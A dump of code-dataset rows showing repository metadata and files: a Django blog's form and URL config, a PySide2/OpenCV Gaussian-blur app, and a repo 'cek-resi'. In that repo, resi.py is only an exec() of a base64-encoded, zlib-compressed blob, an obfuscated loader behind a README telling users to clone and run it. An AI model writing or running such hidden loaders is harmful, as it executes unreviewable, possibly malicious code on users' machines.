repo_name
stringlengths 5
114
| repo_url
stringlengths 24
133
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| branch_name
stringclasses 209
values | visit_date
timestamp[ns] | revision_date
timestamp[ns] | committer_date
timestamp[ns] | github_id
int64 9.83k
683M
⌀ | star_events_count
int64 0
22.6k
| fork_events_count
int64 0
4.15k
| gha_license_id
stringclasses 17
values | gha_created_at
timestamp[ns] | gha_updated_at
timestamp[ns] | gha_pushed_at
timestamp[ns] | gha_language
stringclasses 115
values | files
listlengths 1
13.2k
| num_files
int64 1
13.2k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
gbjeong96/my-first-blog | https://github.com/gbjeong96/my-first-blog | b35fe1b63b1bc98619ae8c73d73f9975345fba62 | 11211102bb53a202691c463bfa01150a439f445c | c6bcf8e242bf9035456da4a3f5664056bda7dc6b | refs/heads/master | 2022-12-10T23:35:15.195589 | 2020-09-08T04:29:51 | 2020-09-08T04:29:51 | 291,906,980 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7085889577865601,
"alphanum_fraction": 0.7085889577865601,
"avg_line_length": 35.33333206176758,
"blob_id": "d6bb5d1e723b384672e64b1d2c8a67c243fb47de",
"content_id": "ef92ca270314fd1c45b64e1c2e762eb50d9171a4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 470,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 9,
"path": "/blog/forms.py",
"repo_name": "gbjeong96/my-first-blog",
"src_encoding": "UTF-8",
"text": "from django import forms\n\nfrom .models import Post\n\nclass PostForm(forms.ModelForm): #우리가 만들 form의 이름은 PostFrom이고 그 form이 Modelfrom이라는것을 파라미터로 알려준다.\n\n class Meta: \n model = Post #Form을 만들기 위해 우리가 어던 model이 쓰여야 하는지 장고에게 알려준다. #Post는 model.py에서 만들어주었다.\n fields = ('title', 'text',) #form에 title과 text가 보여지게 해준다."
},
{
"alpha_fraction": 0.6938369870185852,
"alphanum_fraction": 0.6938369870185852,
"avg_line_length": 55,
"blob_id": "e55aa4d22ede85dfafd98250a262eee56b903333",
"content_id": "e65251360914aef5ec5c77a1eb3def3f3123dcfa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 631,
"license_type": "no_license",
"max_line_length": 155,
"num_lines": 9,
"path": "/blog/urls.py",
"repo_name": "gbjeong96/my-first-blog",
"src_encoding": "UTF-8",
"text": "from django.urls import path #django함수인 path를 가져온다.\nfrom . import views #blog app에서 사용할 모든 views를 가져온다.\n\nurlpatterns = [\n path('', views.post_list, name= 'post_list'), #views.post_list라는 view를 post_list라는 이름을 가지도록 설정했다.\n path('post/<int:pk>/', views.post_detail, name='post_detail'), #post/pk/에 pk라는 변수로 view에 전달을 한다. views.post_detail라는 view를 post_detail이라 이름을 붙이도록 설정했다.\n path('post/new', views.post_new, name='post_new'),\n path('post/<int:pk>/edit/', views.post_edit, name='post_edit'),\n]"
}
] | 2 |
rigan256/cek-resi | https://github.com/rigan256/cek-resi | 2a0d3dcddf2cac679191568e18cfa8c99d80c9d1 | 26e55d542e7315ebda35deaf0104cdb4529855bf | 9495838f8b73697adc8906c01dd4920c9e876e56 | refs/heads/master | 2023-01-29T03:22:10.055546 | 2020-12-14T01:55:14 | 2020-12-14T01:55:14 | 321,188,892 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6532438397407532,
"alphanum_fraction": 0.7494407296180725,
"avg_line_length": 18.434782028198242,
"blob_id": "9eaf075e8e9cd811e23d4db73938c23239605598",
"content_id": "15472b12e79dc4b152c137e74ff5c3cba8f5c68a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 447,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 23,
"path": "/README.md",
"repo_name": "rigan256/cek-resi",
"src_encoding": "UTF-8",
"text": "# cek-resi\n\n\n\n\n## Instalasi Termux\n```\npkg update && pkg upgrade\napt-get install python3\npip3 install requests\ngit clone https://github.com/rigan256/cek-resi.git\ncd cek-resi\npython3 resi.py\n```\n\n## Instalasi Linux\n```\napt-get install python3 python3-pip\npip3 install requests\ngit clone https://github.com/rigan256/cek-resi.git\ncd cek-resi\npython3 resi.py\n```\n"
},
{
"alpha_fraction": 0.6865671873092651,
"alphanum_fraction": 0.7761194109916687,
"avg_line_length": 32.5,
"blob_id": "358e006e8fe43be570b340ac70e0688a7bf90d37",
"content_id": "1142005bd98eca38149bf1120e8e865273c4e216",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 67,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 2,
"path": "/resi.py",
"repo_name": "rigan256/cek-resi",
"src_encoding": "UTF-8",
"text": "import zlib,base64\nexec(zlib.decompress(base64.b64decode(\"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\")))\n"
}
] | 2 |
YongminK/gauss-blur-py | https://github.com/YongminK/gauss-blur-py | f42e4cb59824bee488d71c6f0272de31e00cc2b1 | 9ef5a69b38d55326b33d57b322cfaf5ce9437240 | d2a9e6560b3e30a8adfb1b4185ca12bc76193054 | refs/heads/master | 2020-04-29T20:06:43.085017 | 2019-04-07T00:02:24 | 2019-04-07T00:02:24 | 176,375,257 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6302412748336792,
"alphanum_fraction": 0.6766756176948547,
"avg_line_length": 66.56521606445312,
"blob_id": "3acd2d4f6bbad669cc744cb6a8bdd9af26baab01",
"content_id": "ce6425022d73b2c0e7bcbdbab3cdae20bd61ed5b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9430,
"license_type": "no_license",
"max_line_length": 194,
"num_lines": 138,
"path": "/design.py",
"repo_name": "YongminK/gauss-blur-py",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'form.ui',\n# licensing of 'form.ui' applies.\n#\n# Created: Sun Apr 7 02:51:25 2019\n# by: pyside2-uic running on PySide2 5.12.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PySide2 import QtCore, QtGui, QtWidgets\n\nclass Ui_Form(object):\n def setupUi(self, Form):\n Form.setObjectName(\"Form\")\n Form.resize(1073, 771)\n self.loadImageButton = QtWidgets.QPushButton(Form)\n self.loadImageButton.setGeometry(QtCore.QRect(40, 300, 131, 51))\n self.loadImageButton.setObjectName(\"loadImageButton\")\n self.oneDimButton = QtWidgets.QPushButton(Form)\n self.oneDimButton.setGeometry(QtCore.QRect(380, 300, 131, 51))\n self.oneDimButton.setObjectName(\"oneDimButton\")\n self.label = QtWidgets.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(40, 20, 281, 281))\n self.label.setFrameShape(QtWidgets.QFrame.Box)\n self.label.setObjectName(\"label\")\n self.labelTwo = QtWidgets.QLabel(Form)\n self.labelTwo.setGeometry(QtCore.QRect(730, 20, 281, 281))\n self.labelTwo.setFrameShape(QtWidgets.QFrame.Box)\n self.labelTwo.setObjectName(\"labelTwo\")\n self.twoDimButton = QtWidgets.QPushButton(Form)\n self.twoDimButton.setGeometry(QtCore.QRect(730, 300, 131, 51))\n self.twoDimButton.setObjectName(\"twoDimButton\")\n self.timeTwoDim = QtWidgets.QTextBrowser(Form)\n self.timeTwoDim.setGeometry(QtCore.QRect(750, 360, 256, 31))\n self.timeTwoDim.setObjectName(\"timeTwoDim\")\n self.labelOne = QtWidgets.QLabel(Form)\n self.labelOne.setGeometry(QtCore.QRect(380, 20, 291, 281))\n self.labelOne.setFrameShape(QtWidgets.QFrame.Box)\n self.labelOne.setObjectName(\"labelOne\")\n self.timeOneDim = QtWidgets.QTextBrowser(Form)\n self.timeOneDim.setGeometry(QtCore.QRect(410, 360, 256, 31))\n self.timeOneDim.setObjectName(\"timeOneDim\")\n self.tableWidget = QtWidgets.QTableWidget(Form)\n self.tableWidget.setGeometry(QtCore.QRect(340, 510, 681, 241))\n self.tableWidget.setObjectName(\"tableWidget\")\n self.tableWidget.setColumnCount(0)\n self.tableWidget.setRowCount(0)\n self.editSigma = QtWidgets.QTextEdit(Form)\n self.editSigma.setGeometry(QtCore.QRect(120, 420, 141, 31))\n self.editSigma.setObjectName(\"editSigma\")\n self.editRadius = QtWidgets.QTextEdit(Form)\n self.editRadius.setGeometry(QtCore.QRect(120, 460, 141, 31))\n self.editRadius.setObjectName(\"editRadius\")\n self.label_3 = QtWidgets.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(40, 410, 71, 51))\n self.label_3.setWordWrap(True)\n self.label_3.setObjectName(\"label_3\")\n self.label_4 = QtWidgets.QLabel(Form)\n self.label_4.setGeometry(QtCore.QRect(40, 450, 61, 41))\n self.label_4.setWordWrap(True)\n self.label_4.setObjectName(\"label_4\")\n self.tableWidget_2 = QtWidgets.QTableWidget(Form)\n self.tableWidget_2.setGeometry(QtCore.QRect(340, 400, 681, 101))\n self.tableWidget_2.setObjectName(\"tableWidget_2\")\n self.tableWidget_2.setColumnCount(0)\n self.tableWidget_2.setRowCount(0)\n self.editX = QtWidgets.QTextEdit(Form)\n self.editX.setGeometry(QtCore.QRect(60, 570, 51, 41))\n self.editX.setObjectName(\"editX\")\n self.editY = QtWidgets.QTextEdit(Form)\n self.editY.setGeometry(QtCore.QRect(150, 570, 51, 41))\n self.editY.setObjectName(\"editY\")\n self.label_5 = QtWidgets.QLabel(Form)\n self.label_5.setGeometry(QtCore.QRect(40, 580, 16, 31))\n self.label_5.setObjectName(\"label_5\")\n self.label_6 = QtWidgets.QLabel(Form)\n self.label_6.setGeometry(QtCore.QRect(130, 580, 16, 21))\n self.label_6.setObjectName(\"label_6\")\n self.label_7 = QtWidgets.QLabel(Form)\n self.label_7.setGeometry(QtCore.QRect(80, 540, 111, 31))\n self.label_7.setObjectName(\"label_7\")\n self.compareBrightButton = QtWidgets.QPushButton(Form)\n self.compareBrightButton.setGeometry(QtCore.QRect(210, 580, 93, 28))\n self.compareBrightButton.setObjectName(\"compareBrightButton\")\n self.browseBright = QtWidgets.QTextBrowser(Form)\n self.browseBright.setGeometry(QtCore.QRect(50, 620, 256, 71))\n self.browseBright.setObjectName(\"browseBright\")\n self.showHistButton = QtWidgets.QPushButton(Form)\n self.showHistButton.setGeometry(QtCore.QRect(170, 300, 151, 51))\n self.showHistButton.setObjectName(\"showHistButton\")\n self.showHistButton_2 = QtWidgets.QPushButton(Form)\n self.showHistButton_2.setGeometry(QtCore.QRect(510, 300, 151, 51))\n self.showHistButton_2.setObjectName(\"showHistButton_2\")\n self.showHistButton_3 = QtWidgets.QPushButton(Form)\n self.showHistButton_3.setGeometry(QtCore.QRect(850, 300, 151, 51))\n self.showHistButton_3.setObjectName(\"showHistButton_3\")\n\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(QtWidgets.QApplication.translate(\"Form\", \"Form\", None, -1))\n self.loadImageButton.setText(QtWidgets.QApplication.translate(\"Form\", \"Load\", None, -1))\n self.oneDimButton.setText(QtWidgets.QApplication.translate(\"Form\", \"One\", None, -1))\n self.label.setText(QtWidgets.QApplication.translate(\"Form\", \"Image 1\", None, -1))\n self.labelTwo.setText(QtWidgets.QApplication.translate(\"Form\", \"Two Dim Image\", None, -1))\n self.twoDimButton.setText(QtWidgets.QApplication.translate(\"Form\", \"Two\", None, -1))\n self.timeTwoDim.setHtml(QtWidgets.QApplication.translate(\"Form\", \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.0//EN\\\" \\\"http://www.w3.org/TR/REC-html40/strict.dtd\\\">\\n\"\n\"<html><head><meta name=\\\"qrichtext\\\" content=\\\"1\\\" /><style type=\\\"text/css\\\">\\n\"\n\"p, li { white-space: pre-wrap; }\\n\"\n\"</style></head><body style=\\\" font-family:\\'MS Shell Dlg 2\\'; font-size:7.8pt; font-weight:400; font-style:normal;\\\">\\n\"\n\"<p style=\\\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\\\">Time: </p></body></html>\", None, -1))\n self.labelOne.setText(QtWidgets.QApplication.translate(\"Form\", \"One Dim Image\", None, -1))\n self.timeOneDim.setHtml(QtWidgets.QApplication.translate(\"Form\", \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.0//EN\\\" \\\"http://www.w3.org/TR/REC-html40/strict.dtd\\\">\\n\"\n\"<html><head><meta name=\\\"qrichtext\\\" content=\\\"1\\\" /><style type=\\\"text/css\\\">\\n\"\n\"p, li { white-space: pre-wrap; }\\n\"\n\"</style></head><body style=\\\" font-family:\\'MS Shell Dlg 2\\'; font-size:7.8pt; font-weight:400; font-style:normal;\\\">\\n\"\n\"<p style=\\\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\\\">Time: </p></body></html>\", None, -1))\n self.label_3.setText(QtWidgets.QApplication.translate(\"Form\", \"Отклонение (сигма)\", None, -1))\n self.label_4.setText(QtWidgets.QApplication.translate(\"Form\", \"Радиус апертуры\", None, -1))\n self.editX.setHtml(QtWidgets.QApplication.translate(\"Form\", \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.0//EN\\\" \\\"http://www.w3.org/TR/REC-html40/strict.dtd\\\">\\n\"\n\"<html><head><meta name=\\\"qrichtext\\\" content=\\\"1\\\" /><style type=\\\"text/css\\\">\\n\"\n\"p, li { white-space: pre-wrap; }\\n\"\n\"</style></head><body style=\\\" font-family:\\'MS Shell Dlg 2\\'; font-size:7.8pt; font-weight:400; font-style:normal;\\\">\\n\"\n\"<p style=\\\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\\\"><span style=\\\" font-size:12pt;\\\">0</span></p></body></html>\", None, -1))\n self.editY.setHtml(QtWidgets.QApplication.translate(\"Form\", \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.0//EN\\\" \\\"http://www.w3.org/TR/REC-html40/strict.dtd\\\">\\n\"\n\"<html><head><meta name=\\\"qrichtext\\\" content=\\\"1\\\" /><style type=\\\"text/css\\\">\\n\"\n\"p, li { white-space: pre-wrap; }\\n\"\n\"</style></head><body style=\\\" font-family:\\'MS Shell Dlg 2\\'; font-size:7.8pt; font-weight:400; font-style:normal;\\\">\\n\"\n\"<p style=\\\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\\\"><span style=\\\" font-size:12pt;\\\">0</span></p></body></html>\", None, -1))\n self.label_5.setText(QtWidgets.QApplication.translate(\"Form\", \"<html><head/><body><p><span style=\\\" font-size:12pt;\\\">Х</span></p></body></html>\", None, -1))\n self.label_6.setText(QtWidgets.QApplication.translate(\"Form\", \"<html><head/><body><p><span style=\\\" font-size:12pt;\\\">Y</span></p></body></html>\", None, -1))\n self.label_7.setText(QtWidgets.QApplication.translate(\"Form\", \"<html><head/><body><p><span style=\\\" font-size:11pt;\\\">Координаты</span></p></body></html>\", None, -1))\n self.compareBrightButton.setText(QtWidgets.QApplication.translate(\"Form\", \"Сравнить\", None, -1))\n self.showHistButton.setText(QtWidgets.QApplication.translate(\"Form\", \"Показать гистограмму\", None, -1))\n self.showHistButton_2.setText(QtWidgets.QApplication.translate(\"Form\", \"Показать гистограмму\", None, -1))\n self.showHistButton_3.setText(QtWidgets.QApplication.translate(\"Form\", \"Показать гистограмму\", None, -1))\n\n"
},
{
"alpha_fraction": 0.5379915237426758,
"alphanum_fraction": 0.5534006357192993,
"avg_line_length": 33.68202590942383,
"blob_id": "1606768b1b392662c6cff85709441048888dc6d9",
"content_id": "6efc03580bd92822714ea6e7ad55d15cca154519",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7704,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 217,
"path": "/main.py",
"repo_name": "YongminK/gauss-blur-py",
"src_encoding": "UTF-8",
"text": "import numpy as np \nimport cv2\nimport matplotlib.pyplot as plt\nimport sys\nfrom PySide2 import QtWidgets\nfrom PySide2.QtWidgets import QLabel\nfrom PySide2.QtWidgets import QTableWidget, QTableWidgetItem\nfrom PySide2.QtCore import QTranslator\nimport design\nimport os\nimport time\n\n\nimg_name = 'test.bmp'\nimg = cv2.imread(img_name, cv2.IMREAD_GRAYSCALE)\n\n\nclass ExampleApp(QtWidgets.QMainWindow, design.Ui_Form):\n def __init__(self):\n super().__init__()\n self.setupUi(self) # Это нужно для инициализации нашего дизайна\n img_name = self.loadImageButton.clicked.connect(self.loadImage)\n self.twoDimButton.clicked.connect(self.twoDimBlur)\n self.oneDimButton.clicked.connect(self.oneDimBlur)\n\n self.editRadius.setText(\"6\")\n self.editSigma.setText(\"2\")\n\n self.compareBrightButton.clicked.connect(self.compareBright)\n self.showHistButton.clicked.connect(self.showHist)\n self.showHistButton_2.clicked.connect(self.showHist_2)\n self.showHistButton_3.clicked.connect(self.showHist_3)\n\n def loadImage(self):\n self.label.setPixmap(img_name)\n # directory = QtWidgets.QFileDialog.getOpenFileName(self, \"Выберите папку\")[0]\n # self.label.setPixmap(str(directory)) \n # return str(directory)\n\n\n def twoDimBlur(self):\n img_out = img.copy()\n height = img.shape[0]\n width = img.shape[1]\n\n \n radius = int(self.editRadius.toPlainText())\n sigma = float(self.editSigma.toPlainText())\n size = int(2*radius+1)\n\n gauss = np.zeros((size,size))\n for i in range(size):\n for j in range(size):\n gauss[i][j] = (1/np.sqrt(2*np.pi*sigma**2))*np.exp(-((i-radius)**2 + (j-radius)**2)/(2*sigma**2))\n # print(gauss.sum())\n # print()\n gauss = gauss / gauss.sum()\n self.tableWidget.setRowCount(size)\n self.tableWidget.setColumnCount(size)\n\n for i in range(len(gauss)):\n for j in range(len(gauss[i])):\n newItem = QTableWidgetItem(str(gauss[i][j]))\n self.tableWidget.setItem(i, j, newItem)\n\n start_time = time.process_time()\n for i in np.arange(radius, height-radius):\n for j in np.arange(radius, width-radius): \n sum = 0.0\n for k in np.arange(-radius, radius+1):\n for l in np.arange(-radius, radius+1):\n a = img.item(i+k, j+l)\n p = gauss[radius+k, radius+l]\n sum = sum + (p * a)\n b = sum\n img_out.itemset((i,j), b)\n end_time = time.process_time()\n self.timeTwoDim.setText(\"Time: \" + str(end_time - start_time))\n newName = 'twoDimImgOut.bmp'\n cv2.imwrite(newName, img_out)\n self.labelTwo.setPixmap(newName)\n plt.imshow(gauss, cmap=plt.get_cmap('jet'), interpolation='nearest')\n plt.colorbar()\n plt.show()\n \n\n def oneDimBlur(self):\n img_temp = img.copy()\n img_out = img.copy()\n height = img.shape[0]\n width = img.shape[1]\n \n \n radius = int(self.editRadius.toPlainText())\n sigma = float(self.editSigma.toPlainText())\n size = int(2*radius+1)\n gauss2D = np.zeros((size,size))\n for i in range(size):\n for j in range(size):\n gauss2D[i][j] = (1/np.sqrt(2*np.pi*sigma**2))*np.exp(-((i-radius)**2 + (j-radius)**2)/(2*sigma**2))\n # print(gauss2D.sum())\n # print()\n gauss2D = gauss2D / gauss2D.sum()\n\n gauss = np.zeros((1,size))\n for j in range(size):\n gauss[0][j] = gauss2D[:][j].sum()\n # print(gauss[0][j])\n # print(gauss.sum())\n gauss = gauss / gauss.sum()\n\n self.tableWidget_2.setRowCount(1)\n self.tableWidget_2.setColumnCount(size) \n\n for i in range(len(gauss)):\n for j in range(len(gauss[i])):\n newItem = QTableWidgetItem(str(gauss[i][j]))\n self.tableWidget_2.setItem(i, j, newItem) \n gauss_trans = np.zeros((size,1))\n for i in range(size):\n gauss_trans[i][0] = gauss2D[i][:].sum()\n # print(gauss_trans[i][0])\n # print(gauss_trans.sum())\n gauss_trans = gauss_trans / gauss_trans.sum()\n gauss_ish = gauss*gauss_trans #/ (gauss*gauss_trans).sum()\n # for i in np.arange(size):\n # for j in np.arange(size):\n # print(gauss_ish[i][j] - gauss2D[i][j], end=\" \")\n # print()\n\n\n start_time = time.process_time()\n for i in np.arange(height):\n for j in np.arange(radius, width-radius):\n sum = 0.0\n for l in np.arange(-radius, radius+1):\n a = img.item(i, j+l)\n p = gauss[0, radius+l]\n sum = sum + (p * a)\n b = sum\n img_temp.itemset((i,j), b)\n for i in np.arange(radius, height-radius):\n for j in np.arange(width):\n sum = 0.0\n for k in np.arange(-radius, radius+1):\n a = img_temp.item(i+k, j)\n p = gauss_trans[radius+k, 0]\n sum = sum + (p * a)\n\n b = sum\n img_out.itemset((i,j), b)\n\n end_time = time.process_time()\n self.timeOneDim.setText(\"Time: \" + str(end_time - start_time))\n newName = 'oneDimImgOut.bmp'\n cv2.imwrite(newName, img_out)\n self.labelOne.setPixmap(newName)\n plt.imshow(gauss, cmap=plt.get_cmap('jet'), interpolation='nearest')\n plt.colorbar()\n plt.show()\n\n def compareBright(self):\n x = int(self.editX.toPlainText())\n y = int(self.editY.toPlainText())\n img_1d = cv2.imread('oneDimImgOut.bmp', cv2.IMREAD_GRAYSCALE)\n img_2d = cv2.imread('twoDimImgOut.bmp',cv2.IMREAD_GRAYSCALE)\n first_img = img.item(x,y)\n oneDim_img = img_1d.item(x,y)\n twoDim_img = img_2d.item(x,y)\n # test\n height = img_1d.shape[0]\n width = img_1d.shape[1]\n # for x in np.arange(height):\n # for y in np.arange(width):\n # print(img_1d.item(x, y)-img_2d.item(x,y), end=\" \")\n # print()\n img.itemset((x,y), 0)\n self.browseBright.setText(str(first_img)+\" \"+str(oneDim_img)+\" \"+str(twoDim_img))\n\n def showHist(self):\n plt.hist(img.ravel(),256,[0,256]); \n plt.savefig(\"hist.png\")\n plt.show()\n def showHist_2(self):\n img_1d = cv2.imread('oneDimImgOut.bmp', cv2.IMREAD_GRAYSCALE)\n plt.hist(img_1d.ravel(),256,[0,256]); \n plt.savefig(\"hist.png\")\n plt.show()\n def showHist_3(self):\n img_2d = cv2.imread('twoDimImgOut.bmp',cv2.IMREAD_GRAYSCALE)\n plt.hist(img_2d.ravel(),256,[0,256]); \n plt.savefig(\"hist.png\")\n plt.show()\n\n\ndef main():\n app = QtWidgets.QApplication(sys.argv) # Новый экземпляр QApplication\n window = ExampleApp() # Создаём объект класса ExampleApp\n window.show() # Показываем окно\n app.exec_() # и запускаем приложение\n# print(timeit.timeit(\"main()\", setup=\"from __main__ import main\", number=1))\n\nif __name__ == '__main__': # Если мы запускаем файл напрямую, а не импортируем\n main() # то запускаем функцию main()\n\n\n\n\n\n\n\n\n# print(sum(sum(gauss)))\n\n# # plt.imshow(gauss, cmap=plt.get_cmap('jet'), interpolation='nearest')\n# # plt.colorbar()\n# # plt.show()\n\n\n"
}
] | 2 |
SamuraiNights/SamuraiNights.Sublime | https://github.com/SamuraiNights/SamuraiNights.Sublime | e3f07c8c55fce09e71c08eca833a216e5cc191a4 | 272e972ac6884a914d925b977d6ad73d530de640 | ca210f696ce2393b1bfd4e37d3839a0f1d89a5ec | refs/heads/master | 2020-07-03T10:14:02.677149 | 2019-08-16T02:29:55 | 2019-08-16T02:29:55 | 201,875,969 | 3 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6564299464225769,
"alphanum_fraction": 0.6679462790489197,
"avg_line_length": 24.950000762939453,
"blob_id": "51459b257971ed71f6987df451fd58aae7098677",
"content_id": "a6699c6f6048f3a8941661a59ddca15b5de1e341",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 521,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 20,
"path": "/Week1/Day4/With_Function_GCI_Python_Task1_.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "#title#\nprint(\"GCI Task 1 (Beginners)\")\n#function_definitions#\ndef get_integer_from_user():\n\ta = 0\n\twhile True:\n\t\ta = input(\"Type a number: \")\n\t\tif a.isdigit():\n\t\t\tbreak\n\treturn int(a)\ndef factorial_calculation_and_print_it(a):\n\ta = int(a)\n\tr = 1\n\tfor c in range(1,int(a)+1,1):\n\t\tr = r*c\n\tprint(\"Your Answer is: \" + str(r))\n#code_with_functions#\nqwerty = get_integer_from_user()\n#You can put this code --> print(type(qwerty)) <-- in this line to make sure you have an integer\nfactorial_calculation_and_print_it(qwerty)\n\n\n"
},
{
"alpha_fraction": 0.6431535482406616,
"alphanum_fraction": 0.6680498123168945,
"avg_line_length": 23.100000381469727,
"blob_id": "f25cb6d8a792def137ff810de9ffd7976148d2e1",
"content_id": "9c34e15640a3fe34faaf503036fee61ea7fbc402",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 241,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 10,
"path": "/Week1/Day2/Weird_Thing.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "age = input(\"How old are you? \")\n\nif int(age) > 11:\n\tprint(\"You are older than 5 years old\")\nprint(\"You are in middle school\")\n\nprint(\"Good Luck\")\nif int(age) > 11:\n\tprint(\"You are older than 5 years old\")\n\tprint(\"You are in middle school\")\n"
},
{
"alpha_fraction": 0.5952380895614624,
"alphanum_fraction": 0.6071428656578064,
"avg_line_length": 20.0625,
"blob_id": "29011e1fabf347be5d89b180f9d9040202b43736",
"content_id": "9d252275cf78950393cbffcd21183142e86c43c7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 336,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 16,
"path": "/Week2/Day1/helloV2.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
